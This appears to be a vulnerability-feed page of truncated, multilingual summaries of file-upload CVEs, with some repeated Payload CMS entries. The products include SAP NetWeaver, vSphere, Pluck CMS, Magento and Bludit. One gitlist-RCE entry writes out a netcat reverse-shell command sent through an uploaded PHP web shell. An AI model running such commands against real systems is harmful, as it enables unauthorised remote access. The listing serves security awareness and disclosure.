CVE-2026-101158 Security Advisory 0185

A missing input validation vulnerability in the Fileserver upload API allows an authenticated attacker with file upload privileges to execute stored cross-site scripting XSS. Successful exploitation could enable the attacker to hijack another CloudVision user's web session, potentially granting...

EUVD-2026-93944

A missing input validation vulnerability in the Fileserver upload API allows an authenticated attacker with file upload privileges to execute stored cross-site scripting XSS. Successful exploitation could enable the attacker to hijack another CloudVision user's web session, potentially granting...

nuclei-template-cve-2025-31324-check

Vérification SAP CVE-2025-31324 Aperçu Ce modèle est conçu pour vérifier la présence de la vulnérabilité SAP NetWeaver CVE-2025-31324. Cette vulnérabilité permet à des utilisateurs non autorisés de téléverser des fichiers JSP via le point de terminaison /developmentserver/metadatauploader, ce qui...

CVE-2026-5364

CVE-2026-5364 CVE-2026-5364 est une vulnérabilité de téléchargement de fichier arbitraire non authentifié de score CVSS 8.1 Élevé dans le plugin Drag and Drop File Upload for Contact Form 7 CVE-2026-5364 — CF7 Drag & Drop File Upload RCE Téléchargement de fichier arbitraire non authentifié via...

CVE-2021-21972

CVE-2021-21972 VMware vSphere Client : téléversement de fichier non autorisé menant à l'exécution de code à distance RCE Le client Web vSphere HTML5 est essentiellement une interface d'administration qui permet de gérer une installation vSphere. Le client vSphere donne à l'administrateur accès au...

CVE-2026-70376

CVE-2026-70376 — CSRF на всём сайте Pluck CMS → RCE Проверка Referer с логикой fail-open + отсутствие CSRF-токенов + загрузка файлов с двойным расширением Одного посещения страницы администратором достаточно, чтобы удалить контент, внедрить страницы и разместить веб-шелл Краткий обзор · Резюме ·...

CVE-2026-105868

Payload is a free and open source headless content management system. In versions before 3.90.0 and canary versions before 4.0.0-canary.34, local upload configurations that accept XML files can store an XML file and stylesheet that execute JavaScript in the Payload origin when a logged-in user...

CVE-2026-105861

Payload is a free and open source headless content management system. In versions after 3.0.0 and before 3.90.0, authenticated external URL-based upload retrieval can forward authentication data to a redirected destination that was not verified as trusted, potentially exposing a valid session to ...

magento-upload-auto-submit-zoneh

magento-upload-auto-submit-zoneh CVE-2025-54236 ⚠️ AVERTISSEMENT ⚠️ AVERTISSEMENT CRITIQUE ! Cet outil a été créé exclusivement pour : ✅ Fins éducatives et recherche en sécurité ✅ Tests de pénétration autorisés ✅ Évaluations de sécurité sur les systèmes que vous possédez ✅ Vérification de...

gitlist-RCE

gitlist-RCE CVE-2014-4511 пример: после успешной загрузки shell: доступ: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2025-31324-File-Upload

CVE-2025-31324-File-Upload Полностью неаутентифицированная конечная точка загрузки файлов в Visual Composer позволяет любому загружать произвольные файлы например, JSP-веб-шелл на сервер. PoC-инструмент для проверки и эксплуатации неаутентифицированной уязвимости загрузки файлов CVE-2025-31324 в...

CVE-2026-105868 Payload: Uploaded XML files could execute same-origin JavaScript

Payload is a free and open source headless content management system. In versions before 3.90.0 and canary versions before 4.0.0-canary.34, local upload configurations that accept XML files can store an XML file and stylesheet that execute JavaScript in the Payload origin when a logged-in user...

CVE-2026-105868

The headless content management system Payload is vulnerable in versions before 3.90.0 and canary versions before 4.0.0-canary.34 . The root cause involves local upload configurations that permit the storage of XML files . An attacker can upload a malicious XML file and stylesheet that execute Ja...

CVE-2026-105868 Payload: Uploaded XML files could execute same-origin JavaScript

Payload is a free and open source headless content management system. In versions before 3.90.0 and canary versions before 4.0.0-canary.34, local upload configurations that accept XML files can store an XML file and stylesheet that execute JavaScript in the Payload origin when a logged-in user...

CVE-2026-105861 Payload external upload trust validation issue

Payload is a free and open source headless content management system. In versions after 3.0.0 and before 3.90.0, authenticated external URL-based upload retrieval can forward authentication data to a redirected destination that was not verified as trusted, potentially exposing a valid session to ...

CVE-2026-105861

The headless content management system Payload is vulnerable in versions after 3.0.0 and before 3.90.0 . The flaw resides in the authenticated external URL-based upload retrieval feature, where the system fails to verify the trustworthiness of a redirected destination. This origin validation erro...

CVE-2026-105861 Payload external upload trust validation issue

Payload is a free and open source headless content management system. In versions after 3.0.0 and before 3.90.0, authenticated external URL-based upload retrieval can forward authentication data to a redirected destination that was not verified as trusted, potentially exposing a valid session to ...

CVE-2026-4882

CVE-2026-4882 User Registration Advanced Fields = 1.6.20 - Неаутентифицированная произвольная загрузка файлов Описание : Плагин User Registration Advanced Fields для WordPress версии до 1.6.20 включительно уязвим к неаутентифицированной произвольной загрузке файлов через AJAX-действие...

CVE-2019-16113

CVE-2019-16113 Ceci est un PoC en Python pour la vulnérabilité de téléversement de fichier image avec traversée de répertoire dans Bludit. CVE-2019-16113 Bludit 3.9.2 permet l'exécution de code à distance via bl-kernel/ajax/upload-images.php car du code PHP peut être saisi avec un nom de fichier...

CVE-2026-105798

SimpleChat is a secure AI conversation application with personal and group workspaces for document-grounded interactions. Prior to 0.261.029, POST /api/groupdocuments/upload stores an attacker-controlled group document filename that groupworkspaces.html later interpolates into inline Share event...